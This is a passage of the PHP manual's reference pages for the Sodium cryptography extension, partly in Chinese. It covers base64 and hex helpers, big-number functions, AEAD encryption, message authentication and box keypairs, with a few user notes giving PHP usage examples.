  • sodium_crypto_box_publickey_from_secretkey — Calculate the public key from a secret key
  • sodium_crypto_box_publickey — Extract the public key from a crypto_box keypair
  • sodium_crypto_box_seal_open — Anonymous public-key decryption
  • sodium_crypto_box_seal — Anonymous public-key encryption
  • sodium_crypto_box_secretkey — Extracts the secret key from a crypto_box keypair
  • sodium_crypto_box_seed_keypair — Deterministically derive the key pair from a single key
  • sodium_crypto_box — Authenticated public-key encryption
  • sodium_crypto_core_ristretto255_add — Adds an element
  • sodium_crypto_core_ristretto255_from_hash — Maps a vector
  • sodium_crypto_core_ristretto255_is_valid_point — Determines if a point on the ristretto255 curve
  • sodium_crypto_core_ristretto255_random — Generates a random key
  • sodium_crypto_core_ristretto255_scalar_add — Adds a scalar value
  • sodium_crypto_core_ristretto255_scalar_complement — The sodium_crypto_core_ristretto255_scalar_complement purpose
  • sodium_crypto_core_ristretto255_scalar_invert — Inverts a scalar value
  • sodium_crypto_core_ristretto255_scalar_mul — Multiplies a scalar value
  • sodium_crypto_core_ristretto255_scalar_negate — Negates a scalar value
  • sodium_crypto_core_ristretto255_scalar_random — Generates a random key
  • sodium_crypto_core_ristretto255_scalar_reduce — Reduces a scalar value
  • sodium_crypto_core_ristretto255_scalar_sub — Subtracts a scalar value
  • sodium_crypto_core_ristretto255_sub — Subtracts an element
  • sodium_crypto_generichash_final — Complete the hash
  • sodium_crypto_generichash_init — Initialize a hash for streaming
  • sodium_crypto_generichash_keygen — Generate a random generichash key
  • sodium_crypto_generichash_update — Add message to a hash
  • sodium_crypto_generichash — Get a hash of the message
  • sodium_crypto_kdf_derive_from_key — Derive a subkey
  • sodium_crypto_kdf_keygen — Generate a random root key for the KDF interface
  • sodium_crypto_kx_client_session_keys — Calculate the client-side session keys.
  • sodium_crypto_kx_keypair — Creates a new sodium keypair
  • sodium_crypto_kx_publickey — Extract the public key from a crypto_kx keypair
  • sodium_crypto_kx_secretkey — Extract the secret key from a crypto_kx keypair.
  • sodium_crypto_kx_seed_keypair — Description
  • sodium_crypto_kx_server_session_keys — Calculate the server-side session keys.
  • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify — Verify that the password is a valid password verification string
  • sodium_crypto_pwhash_scryptsalsa208sha256_str — Get an ASCII encoded hash
  • sodium_crypto_pwhash_scryptsalsa208sha256 — Derives a key from a password, using scrypt
  • sodium_crypto_pwhash_str_needs_rehash — Determine whether or not to rehash a password
  • sodium_crypto_pwhash_str_verify — Verifies that a password matches a hash
  • sodium_crypto_pwhash_str — Get an ASCII-encoded hash
  • sodium_crypto_pwhash — Derive a key from a password, using Argon2
  • sodium_crypto_scalarmult_base — 别名 sodium_crypto_box_publickey_from_secretkey
  • sodium_crypto_scalarmult_ristretto255_base — Calculates the public key from a secret key
  • sodium_crypto_scalarmult_ristretto255 — Computes a shared secret
  • sodium_crypto_scalarmult — Compute a shared secret given a user's secret key and another user's public key
  • sodium_crypto_secretbox_keygen — Generate random key for sodium_crypto_secretbox
  • sodium_crypto_secretbox_open — Authenticated shared-key decryption
  • sodium_crypto_secretbox — Authenticated shared-key encryption
  • sodium_crypto_secretstream_xchacha20poly1305_init_pull — Initialize a secretstream context for decryption
  • sodium_crypto_secretstream_xchacha20poly1305_init_push — Initialize a secretstream context for encryption
  • sodium_crypto_secretstream_xchacha20poly1305_keygen — Generate a random secretstream key.
  • sodium_crypto_secretstream_xchacha20poly1305_pull — Decrypt a chunk of data from an encrypted stream
  • sodium_crypto_secretstream_xchacha20poly1305_push — Encrypt a chunk of data so that it can safely be decrypted in a streaming API
  • sodium_crypto_secretstream_xchacha20poly1305_rekey — Explicitly rotate the key in the secretstream state
  • sodium_crypto_shorthash_keygen — Get random bytes for key
  • sodium_crypto_shorthash — Compute a short hash of a message and key
  • sodium_crypto_sign_detached — Sign the message
  • sodium_crypto_sign_ed25519_pk_to_curve25519 — Convert an Ed25519 public key to a Curve25519 public key
  • sodium_crypto_sign_ed25519_sk_to_curve25519 — Convert an Ed25519 secret key to a Curve25519 secret key
  • sodium_crypto_sign_keypair_from_secretkey_and_publickey — Join a secret key and public key together
  • sodium_crypto_sign_keypair — Randomly generate a secret key and a corresponding public key
  • sodium_crypto_sign_open — Check that the signed message has a valid signature
  • sodium_crypto_sign_publickey_from_secretkey — Extract the Ed25519 public key from the secret key
  • sodium_crypto_sign_publickey — Extract the Ed25519 public key from a keypair
  • sodium_crypto_sign_secretkey — Extract the Ed25519 secret key from a keypair
  • sodium_crypto_sign_seed_keypair — Deterministically derive the key pair from a single key
  • sodium_crypto_sign_verify_detached — Verify signature for the message
  • sodium_crypto_sign — Sign a message
  • sodium_crypto_stream_keygen — Generate a random sodium_crypto_stream key.
  • sodium_crypto_stream_xchacha20_keygen — Returns a secure random key
  • sodium_crypto_stream_xchacha20_xor_ic — Encrypts a message using a nonce and a secret key (no authentication)
  • sodium_crypto_stream_xchacha20_xor — Encrypts a message using a nonce and a secret key (no authentication)
  • sodium_crypto_stream_xchacha20 — Expands the key and nonce into a keystream of pseudorandom bytes
  • sodium_crypto_stream_xor — Encrypt a message without authentication
  • sodium_crypto_stream — Generate a deterministic sequence of bytes from a seed
  • sodium_hex2bin — Decodes a hexadecimally encoded binary string
  • sodium_increment — Increment large number
  • sodium_memcmp — Test for equality in constant-time
  • sodium_memzero — Overwrite a string with NUL characters
  • sodium_pad — Add padding data
  • sodium_unpad — Remove padding data

User Contributed Notes

There are no user contributed notes for this page.


Add large numbers

  • ? Sodium 函数
  • sodium_base642bin ?
  • PHP Manual
  • Sodium 函数
  • Add large numbers

sodium_add

(PHP 7 >= 7.2.0, PHP 8)

sodium_add — Add large numbers

说明

sodium_add(string &$string1, string $string2): void

This adds the parameter string2 to string1, overwriting the value stored in string1. This function assumes both parameters are binary strings that represent unsigned integers in little-endian byte order.

参数

string1

String representing an arbitrary-length unsigned integer in little-endian byte order. This parameter is passed by reference and will hold the sum of the two parameters.

string2

String representing an arbitrary-length unsigned integer in little-endian byte order.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Decodes a base64-encoded string into raw binary.

  • ? sodium_add
  • sodium_bin2base64 ?
  • PHP Manual
  • Sodium 函数
  • Decodes a base64-encoded string into raw binary.

sodium_base642bin

(PHP 7 >= 7.2.0, PHP 8)

sodium_base642bin — Decodes a base64-encoded string into raw binary.

说明

sodium_base642bin(string $string, int $id, string $ignore = ""): string

Converts a base64 encoded string into raw binary. Unlike base64_decode(), sodium_base642bin() is constant-time (a property that is important for any code that touches cryptographic inputs, such as plaintexts or keys) and supports multiple character sets.

参数

string

string; Encoded string.

id

  • SODIUM_BASE64_VARIANT_ORIGINAL for standard (A-Za-z0-9/\+) Base64 encoding.
  • SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING for standard (A-Za-z0-9/\+) Base64 encoding, without = padding characters.
  • SODIUM_BASE64_VARIANT_URLSAFE for URL-safe (A-Za-z0-9\-_) Base64 encoding.
  • SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING for URL-safe (A-Za-z0-9\-_) Base64 encoding, without = padding characters.

ignore

Characters to ignore when decoding (e.g. whitespace characters).

返回值

Decoded string.

User Contributed Notes

There are no user contributed notes for this page.


Encodes a raw binary string with base64.

  • ? sodium_base642bin
  • sodium_bin2hex ?
  • PHP Manual
  • Sodium 函数
  • Encodes a raw binary string with base64.

sodium_bin2base64

(PHP 7 >= 7.2.0, PHP 8)

sodium_bin2base64 — Encodes a raw binary string with base64.

说明

sodium_bin2base64(string $string, int $id): string

Converts a raw binary string into a base64-encoded string. Unlike base64_encode(), sodium_bin2base64() is constant-time (a property that is important for any code that touches cryptographic inputs, such as plaintexts or keys) and supports multiple character sets.

参数

string

Raw binary string.

id

  • SODIUM_BASE64_VARIANT_ORIGINAL for standard (A-Za-z0-9/\+) Base64 encoding.
  • SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING for standard (A-Za-z0-9/\+) Base64 encoding, without = padding characters.
  • SODIUM_BASE64_VARIANT_URLSAFE for URL-safe (A-Za-z0-9\-_) Base64 encoding.
  • SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING for URL-safe (A-Za-z0-9\-_) Base64 encoding, without = padding characters.

返回值

Base64-encoded string.

User Contributed Notes

davidw at example dot com 02-Apr-2019 04:53
bin: The data you wish to encode
id: The variant of encoding to use, which can be one of the following constants. You'll need to reuse this value when decoding with sodium_base642bin.

SODIUM_BASE64_VARIANT_ORIGINAL            = 1
SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING = 3
SODIUM_BASE64_VARIANT_URLSAFE             = 5
SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING  = 7


Encode to hexadecimal

  • ? sodium_bin2base64
  • sodium_compare ?
  • PHP Manual
  • Sodium 函数
  • Encode to hexadecimal

sodium_bin2hex

(PHP 7 >= 7.2.0, PHP 8)

sodium_bin2hex — Encode to hexadecimal

说明

sodium_bin2hex(string $string): string

Converts a raw binary string into a hex-encoded string. Unlike the standard hex-encoding function, sodium_bin2hex() is constant-time (a property that is important for any code that touches cryptographic inputs, such as plaintexts or keys).

参数

string

Raw binary string.

返回值

Hex encoded string.

User Contributed Notes

There are no user contributed notes for this page.


Compare large numbers

  • ? sodium_bin2hex
  • sodium_crypto_aead_aes256gcm_decrypt ?
  • PHP Manual
  • Sodium 函数
  • Compare large numbers

sodium_compare

(PHP 7 >= 7.2.0, PHP 8)

sodium_compare — Compare large numbers

说明

sodium_compare(string $string1, string $string2): int

Compare two strings as if they were arbitrary-length, unsigned little-endian integers, without side-channel leakage.

参数

string1

Left operand

string2

Right operand

返回值

Returns -1 if string1 is less than string2.

Returns 1 if string1 is greater than string2.

Returns 0 if both strings are equal.

User Contributed Notes

There are no user contributed notes for this page.


Verify then decrypt a message with AES-256-GCM

  • ? sodium_compare
  • sodium_crypto_aead_aes256gcm_encrypt ?
  • PHP Manual
  • Sodium 函数
  • Verify then decrypt a message with AES-256-GCM

sodium_crypto_aead_aes256gcm_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_decrypt — Verify then decrypt a message with AES-256-GCM

说明

sodium_crypto_aead_aes256gcm_decrypt(
string $ciphertext,
string $additional_data,
string $nonce,
string $key
): string|false

Verify then decrypt with AES-256-GCM. Only available if sodium_crypto_aead_aes256gcm_is_available() returns true.

参数

ciphertext

Must be in the format provided by sodium_crypto_aead_aes256gcm_encrypt() (ciphertext and tag, concatenated).

additional_data

Additional, authenticated data. This is used in the verification of the authentication tag appended to the ciphertext, but it is not encrypted or stored in the ciphertext.

nonce

A number that must be only used once, per message. 12 bytes long.

key

Encryption key (256-bit).

返回值

Returns the plaintext on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Encrypt then authenticate with AES-256-GCM

  • ? sodium_crypto_aead_aes256gcm_decrypt
  • sodium_crypto_aead_aes256gcm_is_available ?
  • PHP Manual
  • Sodium 函数
  • Encrypt then authenticate with AES-256-GCM

sodium_crypto_aead_aes256gcm_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_encrypt — Encrypt then authenticate with AES-256-GCM

说明

sodium_crypto_aead_aes256gcm_encrypt(
string $message,
string $additional_data,
string $nonce,
string $key
): string

Encrypt then authenticate with AES-256-GCM. Only available if sodium_crypto_aead_aes256gcm_is_available() returns true.

参数

message

The plaintext message to encrypt.

additional_data

Additional, authenticated data. This is used in the verification of the authentication tag appended to the ciphertext, but it is not encrypted or stored in the ciphertext.

nonce

A number that must be only used once, per message. 12 bytes long.

key

Encryption key (256-bit).

返回值

Returns the ciphertext and authentication tag as a string of raw binary bytes. (Format: ciphertext, then tag.)

User Contributed Notes

There are no user contributed notes for this page.


Check if hardware supports AES256-GCM

  • ? sodium_crypto_aead_aes256gcm_encrypt
  • sodium_crypto_aead_aes256gcm_keygen ?
  • PHP Manual
  • Sodium 函数
  • Check if hardware supports AES256-GCM

sodium_crypto_aead_aes256gcm_is_available

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_is_available — Check if hardware supports AES256-GCM

说明

sodium_crypto_aead_aes256gcm_is_available(): bool

The return value of this function depends on whether or not the hardware supports hardware-accelerated AES.

参数

此函数没有参数。

返回值

Returns true if it is safe to encrypt with AES-256-GCM, and false otherwise.

User Contributed Notes

Soatok Dreamseeker 07-Jun-2021 08:12
The reason libsodium has an "is_available()" API for AES-GCM and not the ChaCha-Poly AEAD ciphers is that, unlike OpenSSL, libsodium will not expose AES-GCM unless your processor supports hardware-accelerated AES and PCLMULQDQ instructions.

If you're wondering what that means: software AES is vulnerable to cache-timing vulnerabilities, due to its internal dependence on table look-ups: https://cr.yp.to/antiforgery/cachetiming-20050414.pdf (PDF)

There's a similar attack on the authentication step in GCM (called GMAC or GHASH, depending on context), which leaks the GHASH key (called H) and can be used to perform chosen-ciphertext attacks freely.

- You can learn more about GCM exploits here (under the condition of nonce reuse rather than timing leaks, but the consequence is the same): https://www.youtube.com/watch?v=uxuXFK5XKEU

- You can learn more about AES-GCM here: https://soatok.blog/2020/05/13/why-aes-gcm-sucks/

- You can learn more about how it compares to other encryption modes here: https://soatok.blog/2020/07/12/comparison-of-symmetric-encryption-methods/

The other AEAD modes are safe to implement in software without risk of side-channel leakage.

The take-away is: AES-GCM isn't guaranteed to be available on all hardware because, without hardware support, libsodium will not provide insecure implementations.

If you want something guaranteed to be available even on hardware you do not control (hello open source maintainers), your choices are ChaCha20-Poly1305 and XChaCha20-Poly1305.

If you can control the hardware and explicitly need AES-GCM (n.b. for FIPS 140-2 validation), feel free to use AES-256-GCM.

<?php
function do_something(string $message, CryptoKeyObject $key): string {
    if (!sodium_crypto_aead_aes256gcm_is_available()) {
        throw new Exception("AES-256-GCM isn't available on your hardware");
    }
    // ... your code here ...
}
?>


Generate a random AES-256-GCM key

  • ? sodium_crypto_aead_aes256gcm_is_available
  • sodium_crypto_aead_chacha20poly1305_decrypt ?
  • PHP Manual
  • Sodium 函数
  • Generate a random AES-256-GCM key

sodium_crypto_aead_aes256gcm_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_keygen — Generate a random AES-256-GCM key

说明

sodium_crypto_aead_aes256gcm_keygen(): string

Generate a random key for use with sodium_crypto_aead_aes256gcm_encrypt() and sodium_crypto_aead_aes256gcm_decrypt().

参数

此函数没有参数。

返回值

Returns a 256-bit random key.

User Contributed Notes

There are no user contributed notes for this page.


Verify then decrypt with ChaCha20-Poly1305

  • ? sodium_crypto_aead_aes256gcm_keygen
  • sodium_crypto_aead_chacha20poly1305_encrypt ?
  • PHP Manual
  • Sodium 函数
  • Verify then decrypt with ChaCha20-Poly1305

sodium_crypto_aead_chacha20poly1305_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_decrypt — Verify then decrypt with ChaCha20-Poly1305

说明

sodium_crypto_aead_chacha20poly1305_decrypt(
string $ciphertext,
string $additional_data,
string $nonce,
string $key
): string|false

Verify then decrypt with ChaCha20-Poly1305.

参数

ciphertext

Must be in the format provided by sodium_crypto_aead_chacha20poly1305_encrypt() (ciphertext and tag, concatenated).

additional_data

Additional, authenticated data. This is used in the verification of the authentication tag appended to the ciphertext, but it is not encrypted or stored in the ciphertext.

nonce

A number that must be only used once, per message. 8 bytes long.

key

Encryption key (256-bit).

返回值

Returns the plaintext on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Encrypt then authenticate with ChaCha20-Poly1305

  • ? sodium_crypto_aead_chacha20poly1305_decrypt
  • sodium_crypto_aead_chacha20poly1305_ietf_decrypt ?
  • PHP Manual
  • Sodium 函数
  • Encrypt then authenticate with ChaCha20-Poly1305

sodium_crypto_aead_chacha20poly1305_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_encrypt — Encrypt then authenticate with ChaCha20-Poly1305

说明

sodium_crypto_aead_chacha20poly1305_encrypt(
string $message,
string $additional_data,
string $nonce,
string $key
): string

Encrypt then authenticate with ChaCha20-Poly1305.

参数

message

The plaintext message to encrypt.

additional_data

Additional, authenticated data. This is used in the verification of the authentication tag appended to the ciphertext, but it is not encrypted or stored in the ciphertext.

nonce

A number that must be only used once, per message. 8 bytes long.

key

Encryption key (256-bit).

返回值

Returns the ciphertext and tag on success, 或者在失败时返回 false.

User Contributed Notes

alain at fuz dot org 13-Mar-2023 06:30
A flip/flop unit test to give you a sample:

<?php

use PHPUnit\Framework\TestCase;

class SodiumTest extends TestCase
{
    public function testSodium()
    {
        // or 32 cryptographically secure bytes
        // store the key securely with other secrets in your app
       $key = sodium_crypto_aead_xchacha20poly1305_ietf_keygen();

        // 8-bytes nonce should be stored along with the ciphertext (will be needed for decryption)
        // It is not sensitive, you may just prepend it before the ciphertext.
        $nonce = random_bytes(SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES);

        $flip = 'Hello, world!';
        $ciphertext = sodium_crypto_aead_chacha20poly1305_encrypt($flip, $nonce, $nonce, $key);
        $flop = sodium_crypto_aead_chacha20poly1305_decrypt($ciphertext, $nonce, $nonce, $key);

        $this->assertEquals($flip, $flop);
    }
}

?>

Side note: the nonce is used twice in this test, but you can use a username, an identifier or whatever you like in `$additional_data`


Verify that the ciphertext includes a valid tag

  • ? sodium_crypto_aead_chacha20poly1305_encrypt
  • sodium_crypto_aead_chacha20poly1305_ietf_encrypt ?
  • PHP Manual
  • Sodium 函数
  • Verify that the ciphertext includes a valid tag

sodium_crypto_aead_chacha20poly1305_ietf_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_ietf_decrypt — Verify that the ciphertext includes a valid tag

说明

sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
string $ciphertext,
string $additional_data,
string $nonce,
string $key
): string|false

Verify then decrypt with ChaCha20-Poly1305 (IETF variant).

The IETF variant uses 96-bit nonces and 32-bit internal counters, instead of 64-bit for both.

参数

ciphertext

Must be in the format provided by sodium_crypto_aead_chacha20poly1305_ietf_encrypt() (ciphertext and tag, concatenated).

additional_data

Additional, authenticated data. This is used in the verification of the authentication tag appended to the ciphertext, but it is not encrypted or stored in the ciphertext.

nonce

A number that must be only used once, per message. 12 bytes long.

key

Encryption key (256-bit).

返回值

Returns the plaintext on success, 或者在失败时返回 false.

User Contributed Notes

joy at codilar dot com 13-Aug-2019 07:31
sodium_crypto_aead_chacha20poly1305_ietf_decrypt function mentions in its documentation that it'll always return a string. But when passed a malformed input as argument, it returns a boolean


Encrypt a message

  • ? sodium_crypto_aead_chacha20poly1305_ietf_decrypt
  • sodium_crypto_aead_chacha20poly1305_ietf_keygen ?
  • PHP Manual
  • Sodium 函数
  • Encrypt a message

sodium_crypto_aead_chacha20poly1305_ietf_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_ietf_encrypt — Encrypt a message

说明

sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
string $message,
string $additional_data,
string $nonce,
string $key
): string

Encrypt then authenticate with ChaCha20-Poly1305 (IETF variant).

The IETF variant uses 96-bit nonces and 32-bit internal counters, instead of 64-bit for both.

参数

message

The plaintext message to encrypt.

additional_data

Additional, authenticated data. This is used in the verification of the authentication tag appended to the ciphertext, but it is not encrypted or stored in the ciphertext.

nonce

A number that must be only used once, per message. 12 bytes long.

key

Encryption key (256-bit).

返回值

Returns the ciphertext and tag on success, 或者在失败时返回 false.

User Contributed Notes

craig at craigfrancis dot co dot uk 23-Jan-2018 01:37
Here's a quick example on how to use sodium_crypto_aead_chacha20poly1305_ietf_encrypt(); where you have 1 key to encrypt and decrypt.

<?php

$key = sodium_crypto_aead_chacha20poly1305_ietf_keygen();

//--------------------------------------------------
// Encrypting

$message = 'hello';

$nonce = random_bytes(SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES);

$encrypted = sodium_crypto_aead_chacha20poly1305_ietf_encrypt($message, $nonce, $nonce, $key);

echo base64_encode($encrypted) . "\n";

//--------------------------------------------------
// Decrypting

$decrypted = sodium_crypto_aead_chacha20poly1305_ietf_decrypt($encrypted, $nonce, $nonce, $key);

echo $decrypted . "\n";

?>

And just to confirm, the $nonce is used twice - the first time it's in the authentication tag ($ad):

https://twitter.com/craigfrancis/status/949614546259513344


Generate a random ChaCha20-Poly1305 (IETF) key.

  • ? sodium_crypto_aead_chacha20poly1305_ietf_encrypt
  • sodium_crypto_aead_chacha20poly1305_keygen ?
  • PHP Manual
  • Sodium 函数
  • Generate a random ChaCha20-Poly1305 (IETF) key.

sodium_crypto_aead_chacha20poly1305_ietf_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_ietf_keygen — Generate a random ChaCha20-Poly1305 (IETF) key.

说明

sodium_crypto_aead_chacha20poly1305_ietf_keygen(): string

Generate a random key for use with sodium_crypto_aead_chacha20poly1305_ietf_encrypt() and sodium_crypto_aead_chacha20poly1305_ietf_decrypt().

参数

此函数没有参数。

返回值

Returns a 256-bit random key.

User Contributed Notes

There are no user contributed notes for this page.


Generate a random ChaCha20-Poly1305 key.

  • ? sodium_crypto_aead_chacha20poly1305_ietf_keygen
  • sodium_crypto_aead_xchacha20poly1305_ietf_decrypt ?
  • PHP Manual
  • Sodium 函数
  • Generate a random ChaCha20-Poly1305 key.

sodium_crypto_aead_chacha20poly1305_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_keygen — Generate a random ChaCha20-Poly1305 key.

说明

sodium_crypto_aead_chacha20poly1305_keygen(): string

Generate a random key for use with sodium_crypto_aead_chacha20poly1305_encrypt() and sodium_crypto_aead_chacha20poly1305_decrypt().

参数

此函数没有参数。

返回值

Returns a 256-bit random key.

User Contributed Notes

There are no user contributed notes for this page.


(Preferred) Verify then decrypt with XChaCha20-Poly1305

  • ? sodium_crypto_aead_chacha20poly1305_keygen
  • sodium_crypto_aead_xchacha20poly1305_ietf_encrypt ?
  • PHP Manual
  • Sodium 函数
  • (Preferred) Verify then decrypt with XChaCha20-Poly1305

sodium_crypto_aead_xchacha20poly1305_ietf_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_xchacha20poly1305_ietf_decrypt — (Preferred) Verify then decrypt with XChaCha20-Poly1305

说明

sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
string $ciphertext,
string $additional_data,
string $nonce,
string $key
): string|false

Verify then decrypt with ChaCha20-Poly1305 (eXtended-nonce variant).

Generally, XChaCha20-Poly1305 is the best of the provided AEAD modes to use.

参数

ciphertext

Must be in the format provided by sodium_crypto_aead_chacha20poly1305_ietf_encrypt() (ciphertext and tag, concatenated).

additional_data

Additional, authenticated data. This is used in the verification of the authentication tag appended to the ciphertext, but it is not encrypted or stored in the ciphertext.

nonce

A number that must be only used once, per message. 24 bytes long. This is a large enough bound to generate randomly (i.e. random_bytes()).

key

Encryption key (256-bit).

返回值

Returns the plaintext on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


(Preferred) Encrypt then authenticate with XChaCha20-Poly1305

  • ? sodium_crypto_aead_xchacha20poly1305_ietf_decrypt
  • sodium_crypto_aead_xchacha20poly1305_ietf_keygen ?
  • PHP Manual
  • Sodium 函数
  • (Preferred) Encrypt then authenticate with XChaCha20-Poly1305

sodium_crypto_aead_xchacha20poly1305_ietf_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_xchacha20poly1305_ietf_encrypt — (Preferred) Encrypt then authenticate with XChaCha20-Poly1305

说明

sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
string $message,
string $additional_data,
string $nonce,
string $key
): string

Encrypt then authenticate with XChaCha20-Poly1305 (eXtended-nonce variant).

Generally, XChaCha20-Poly1305 is the best of the provided AEAD modes to use.

参数

message

The plaintext message to encrypt.

additional_data

Additional, authenticated data. This is used in the verification of the authentication tag appended to the ciphertext, but it is not encrypted or stored in the ciphertext.

nonce

A number that must be only used once, per message. 24 bytes long. This is a large enough bound to generate randomly (i.e. random_bytes()).

key

Encryption key (256-bit).

返回值

Returns the ciphertext and tag on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Generate a random XChaCha20-Poly1305 key.

  • ? sodium_crypto_aead_xchacha20poly1305_ietf_encrypt
  • sodium_crypto_auth_keygen ?
  • PHP Manual
  • Sodium 函数
  • Generate a random XChaCha20-Poly1305 key.

sodium_crypto_aead_xchacha20poly1305_ietf_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_xchacha20poly1305_ietf_keygen — Generate a random XChaCha20-Poly1305 key.

说明

sodium_crypto_aead_xchacha20poly1305_ietf_keygen(): string

Generate a random key for use with sodium_crypto_aead_xchacha20poly1305_ietf_encrypt() and sodium_crypto_aead_xchacha20poly1305_ietf_decrypt().

参数

此函数没有参数。

返回值

Returns a 256-bit random key.

User Contributed Notes

There are no user contributed notes for this page.


Generate a random key for sodium_crypto_auth

  • ? sodium_crypto_aead_xchacha20poly1305_ietf_keygen
  • sodium_crypto_auth_verify ?
  • PHP Manual
  • Sodium 函数
  • Generate a random key for sodium_crypto_auth

sodium_crypto_auth_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_auth_keygen — Generate a random key for sodium_crypto_auth

说明

sodium_crypto_auth_keygen(): string

Generate a key for use with sodium_crypto_auth() and sodium_crypto_auth_verify().

参数

此函数没有参数。

返回值

Returns a 256-bit random key.

User Contributed Notes

There are no user contributed notes for this page.


Verifies that the tag is valid for the message

  • ? sodium_crypto_auth_keygen
  • sodium_crypto_auth ?
  • PHP Manual
  • Sodium 函数
  • Verifies that the tag is valid for the message

sodium_crypto_auth_verify

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_auth_verify — Verifies that the tag is valid for the message

说明

sodium_crypto_auth_verify(string $mac, string $message, string $key): bool

Verify the authentication tag is valid for a given message and key.

Unlike with digital signatures (e.g. sodium_crypto_sign_verify_detached()), any party capable of verifying a message is also capable of authenticating their own messages. (Hence, symmetric authentication.)

参数

mac

Authentication tag produced by sodium_crypto_auth()

message

Message

key

Authentication key

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Compute a tag for the message

  • ? sodium_crypto_auth_verify
  • sodium_crypto_box_keypair_from_secretkey_and_publickey ?
  • PHP Manual
  • Sodium 函数
  • Compute a tag for the message

sodium_crypto_auth

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_auth — Compute a tag for the message

说明

sodium_crypto_auth(string $message, string $key): string

Symmetric message authentication via sodium_crypto_auth() provides integrity, but not confidentiality.

Unlike with digital signatures (e.g. sodium_crypto_sign_detached()), any party capable of verifying a message is also capable of authenticating their own messages. (Hence, symmetric authentication.)

参数

message

The message you intend to authenticate

key

Authentication key

返回值

Authentication tag

User Contributed Notes

craig at craigfrancis dot co dot uk 25-Aug-2018 08:08
Here's a quick example on how to use sodium_crypto_auth(); where you have a message that you want to sign, so anyone who can access the *shared* key can confirm that the message hasn't been tampered with.

This is similar to sodium_crypto_sign_detached(), but both signer and verifier have access to the same key.

<?php

$key = sodium_crypto_auth_keygen();

//--------------------------------------------------
// Person 1, signing

$message = 'Hello';

$signature = sodium_crypto_auth($message, $key);

//--------------------------------------------------
// Person 2, verifying

$message_valid = sodium_crypto_auth_verify($signature, $message, $key);

if (!$message_valid) {
    exit('Message has been changed.');
}

?>


Create a unified keypair string from a secret key and public key

  • ? sodium_crypto_auth
  • sodium_crypto_box_keypair ?
  • PHP Manual
  • Sodium 函数
  • Create a unified keypair string from a secret key and public key

sodium_crypto_box_keypair_from_secretkey_and_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_keypair_from_secretkey_and_publickey — Create a unified keypair string from a secret key and public key

说明

sodium_crypto_box_keypair_from_secretkey_and_publickey(string $secret_key, string $public_key): string

This function exists to satisfy the API requirements of e.g. crypto_box(). Pass in one party's secret key and the other's public key, and you will obtain a "keypair" for your conversation.

参数

secret_key

Secret key.

public_key

Public key.

返回值

X25519 Keypair.

User Contributed Notes

There are no user contributed notes for this page.


Randomly generate a secret key and a corresponding public key

  • ? sodium_crypto_box_keypair_from_secretkey_and_publickey
  • sodium_crypto_box_open ?
  • PHP Manual
  • Sodium 函数
  • Randomly generate a secret key and a corresponding public key

sodium_crypto_box_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_keypair — Randomly generate a secret key and a corresponding public key

说明

sodium_crypto_box_keypair(): string

Generates a secret key and a public key as one string.

To get the secret key out of this unified keypair string, see sodium_crypto_box_secretkey(). To get the public key out of this unified keypair string, see sodium_crypto_box_publickey().

参数

此函数没有参数。

返回值

One string containing both the X25519 secret key and corresponding X25519 public key.

User Contributed Notes

mickey at disneyland dot com 12-Dec-2019 11:15
To get the actual public and secret keys, use `sodium_crypto_box_publickey()` and `sodium_crypto_box_secretkey()`.


Authenticated public-key decryption

  • ? sodium_crypto_box_keypair
  • sodium_crypto_box_publickey_from_secretkey ?
  • PHP Manual
  • Sodium 函数
  • Authenticated public-key decryption

sodium_crypto_box_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_open — Authenticated public-key decryption

说明

sodium_crypto_box_open(string $ciphertext, string $nonce, string $key_pair): string|false

Decrypt a message using asymmetric (public key) cryptography.

参数

ciphertext

The encrypted message to attempt to decrypt.

nonce

A number that must be only used once, per message. 24 bytes long. This is a large enough bound to generate randomly (i.e. random_bytes()).

key_pair

See sodium_crypto_box_keypair_from_secretkey_and_publickey(). This should include the sender's public key and the recipient's secret key.

返回值

Returns the plaintext message on success, 或者在失败时返回 false.

User Contributed Notes

